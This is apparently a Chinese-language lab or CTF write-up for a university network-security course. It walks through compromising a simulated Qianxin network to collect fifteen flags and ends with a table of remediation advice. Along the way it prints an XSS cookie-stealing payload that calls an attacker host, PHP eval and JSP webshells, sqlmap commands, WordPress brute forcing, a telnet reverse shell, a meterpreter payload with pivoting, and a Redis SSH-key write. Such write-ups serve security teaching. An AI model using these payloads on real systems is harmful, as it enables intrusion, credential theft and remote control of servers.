JMU-net-security-lesson-design WriteUp
0. 内网信息
主机名(域名) | IP | 端口 |
---|---|---|
www.qianxin.com | 172.10.10.100 | 80 |
news.qianxin.com | 172.10.10.102 | 80 |
blog.qianxin.com | 172.10.10.101 | 80 |
mysql | 192.168.100.40 | 3306 |
redis | 192.168.100.101 | 6379 |
oa-web | 192.168.100.100 | 22、80 |
1. 登录www.qianxin.com后台获取flag1
在kali操作机部署简单的xxs获取服务,在家目录新建一个index.php文件并输入以下内容
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
使用命令启动PHP 内置服务器
php -S 202.1.1.20:8000
在首页,最新新闻的评论区,发现存在xss注入
且赛方提示有管理员bot访问新闻界面
注入以下xss代码
<script>
var img = document.createElement("img");
img.src = "http://202.1.1.20:8000/index.php?cookie="+document.cookie;
</script>
获取到bot发送的cookie
修改cookie
访问 www.qianxin.com/admin 得到flag1{498cc55df0c7a39c}
2. 目录遍历漏洞 flag2
赛方提示目录遍历漏洞
在网站后台的模板设置中,发现带参数的GET请求,尝试后发现存在目标遍历漏洞
访问tomcat-users.xml
fire_name=tomcat-users.xml
dir=/../../../../../../apache-tomcat-6.0.32/conf/
登入tomcat管理页面 www.qianxin.com/manager/html ,得到flag2{1595a7d9910930ca}
3. C盘根目录 flag3
在管理页面中,发现存在文件上传
将使用jspspy.jsp木马文件打包成muma.war文件
上传后,访问 www.qianxin.com/muma/jspspy.jsp 密码在jspspy.jsp 文件里
登录后,在C盘根目录找到flag3{e0c34f72c42d6b90}
4. news.qianxin.com/sql/ SQL注入漏洞获取flag4
发现存在sql注入的网站
使用以下命令
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --dbs # 查找后台所有的数据库
sqlmap -u 'http://news.qianxin.com/sql/?id=1' -D dedecmsv57utf8spl --tables # 查找dedecmsv57utf8spl数据库中所有表名
sqlmap -u 'http://news.qianxin.com/sql/?id=1' -D dedecmsv57utf8spl -T flag --columns # 查找dedecmsv57utf8spl数据库中,flag表的所有列
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --dbms mysql --level 3 --thread 5 -D dedecmsv57utf8spl -T flag -C "flag,id" --dump # 列出该表的所有字段数据(字典爆破、无法查出)
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --sql-query='select * from flag' # (自定义SQL,可查出)
得到flag4{c261a93b636d1975}
5. 网站后台首页的flag5
sqlmap -u 'http://news.qianxin.com/sql/?id=1' --sql-query='select * from dede_admin' # 查询dede_admin 表中的值
对其中的7cd6ef195a0f7622a9c5字段进行md5 解密
得到1q2w3e4r
登录网站后台,得到flag5{b9719d911017c592}
6. news.qianxin.com 的网站配置文件中的flag6
PHP 一句话木马 muma.php如下
<?php eval($_POST[123])?>
打开网站后台的文件式管理器,上传木马文件到根目录
打开菜刀,添加新链接
下载/data/common.inc.php 文件
打开common.inc.php,获得flag6{dd9e7b0c1a6227a2}
7. 服务器/home目录拿到flag7
菜刀打开/home 目录访问,发现flag7文件
下载并打开flag7,拿到flag7{4558894a57d3a6bc}
8. blog.qianxin.com 网站后台,草稿文章中的flag8
打开网站,发现是WordPress建站
使用wpscan进行漏洞扫描
wpscan -u http://blog.qianxin.com -e u --threads 100 # 爆破所有用户
wpscan -u http://blog.qianxin.com --wordlist /root/password-top1000.txt -e u --threads 100 # 爆破所有用户的密码
使用john账号进行登录,在草稿箱中找到flag8{8ebf5950de08089a}
9. 网站配置文件的flag9
在网站后台,插件-安装插件中直接上传一句话木马muma.php(虽然报错但已经成功上传)
<?php eval($_POST[123])?>
通过dirb的扫描结果,发现有wp-content/uploads 目录,发现上传的木马文件路径在/wp-content/uploads/2023/12/
使用中国菜刀连接,找到网站根目录下的wp-config.php
下载打开文件,得到flag9{9ced34482cf96ced}
10. 数据库flag表中的flag10
在配置文件中,查找到了数据库的账号密码,编辑菜刀连接,使用菜刀的数据库管理
获得flag10{409877992b99dec9}
11. 网站服务器 /root 目录下的flag11
基于webshell,搞出反弹shell
nc -lvvp 2333 # 攻击机
mknod a p; telnet 202.1.1.20 2333 0<a | /bin/bash 1>a # 目标机
使用CVE-2015-1328内核漏洞进行提权
上传exp
编译执行exp,获得root权限
得到flag11
12. redis服务内网ip地址 flag12
获取MSF会话
用msfvenom 生成木马 (payload)
msf> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=202.1.1.20 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf # 根据靶机环境决定要用什么类型的payload
将木马文件上传至http能访问的目录,这里使用CKnife 进行上传
在攻击机的MSF中监听该木马
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 202.1.1.20
set LPORT 3333
run
在反弹shell中给予777权限,并执行该木马
获取成功
设置路由,让MSF能访问内网
根据信息收集,知道三个Web站点的CIDR地址是 172.10.10.0/24;在flag6中,有数据库所在的ip地址的信息
总结出两个内网的CIDR
- 172.10.10.0/24
- 192.168.100.0/24
在msf会话中配置这两个网段的路由
meterpreter > run autoroute -s 172.10.10.0/24
meterpreter > run autoroute -s 192.168.100.0/24
使用msf内置的端口扫描模块
use anxiliary/scanner/portscan/tcp
set RHOSTS 172.10.10.0/24
set PORTS 6379
set THREADS 20
run
扫描 172.10.10.0/24 网段的 redis默认 6379 端口,无ip
扫描 192.168.100.0/24 网段的 redis默认 6379 端口,扫出结果
得到redis服务器ip地址 flag12{192.168.100.101}
13. redis 服务所使用的配置文件路径flag13
利用redis未授权访问漏洞,SSH连接服务器(为flag14做准备,flag13不强制)
ssh-keygen -t rsa # 生成SSH公钥密钥
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt # 将公钥写入key.txt文件
cat /root/.ssh/key.txt | /usr/local/bin/redis-cli -h 192.168.100.101 -x set pub # 把key.txt文件内容写入redis缓冲
# 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
/usr/local/bin/redis-cli -h 192.168.100.101
192.168.100.101:6379> config set dir /root/.ssh
192.168.100.101:6379> config set dbfilename authorized_keys
192.168.100.101:6379> save
Ubuntu获取redis配置文件访问路径
得到flag13{/etc/redis/redis.conf}
14. redis 服务器根目录下的flag14
根据13 获得flag14{24e3f47dead05ce8}
15. redis同网络中的oa-web服务器 admin用户的密码 flag15
利用reGeorg搭建隧道
桌面找到regeorg文件夹,使用Cknife上传,tunnel_nosocket.php 到能用http访问的目录,这里上传到 /uploads/2023/12
在桌面的regeorg目录 执行reGeorgSocksProxy.py 开启sock5代理,在本机9999端口做转发
vim /etc/proxychains.conf 将sock5 添加到[ProxyList]
下,把 sock4 注释掉
在浏览器配置好sock5代理
扫描同网段下开放的80端口的ip
得到192.168.100.100这个ip,开放了80端口
在终端输入 proxychains bash 即可获得全局代理终端
或使用proxychains + command
使用dirb 扫描后台网站目录,进行信息收集
访问192.168.100.100
查看网页源代码,发现账号admin 密码123456 尝试 无法登录
使用Burpsuite爆破
浏览器设置代理
配置Burpsuite的sock代理
抓包,发到intruder,狙击手,选择password-top1000.txt
开始爆破,发现第22行密码777777之后,返回报文长度发生变化
猜测密码为777777,登录后台,成功
得到flag15{777777}(可提交通过)
漏洞修复意见
漏洞 | 修复意见 |
---|---|
XSS脚本攻击 | 保证用户的输入是合法的,进行合法性检测 |
目录遍历漏洞 | 可以通过检查../来规避 |
SQL注入 | 将拼接SQL改为预编译SQL可有效防止 |
MD5加密的密码被解密 | 加salt的方式来防止逆向MD5 |
任意文件上传漏洞 | 后端检查用户上传的文件类型 |
特定CMS漏洞攻击 | 及时升级CMS或打补丁 |
账号密码可被爆破 | 设置验证码或者强密码 |
redis未授权访问漏洞 | 禁止外部访问Redis服务端口;使用root权限启动redis服务;配置安全组 |
Linux内核漏洞 | 及时升级Linux或打补丁 |
··· | ··· |
PS
反弹shell 稍微升级一下
nc -lvvp 2333 # 攻击机
mknod a p; telnet 202.1.1.20 2333 0<a | /bin/bash 1>a # 目标机
- 在 shell 里输入以下指令,获得完整的shell python -c 'import pty;pty.spawn("/bin/bash")'
- 在 shell 里使用 Ctrl+Z 退出 shell
- 执行命令 stty raw -echo
- 输入 fg 可能会看不到,不用管,输入直接回车就行
- 此时的shell就可以使用方向键了,Ctrl+C 也不会断开了
Proxychains 使用本地工具没作用
source /etc/profile # 执行以下这个命令,再试试
proxychains bash #获取全局代理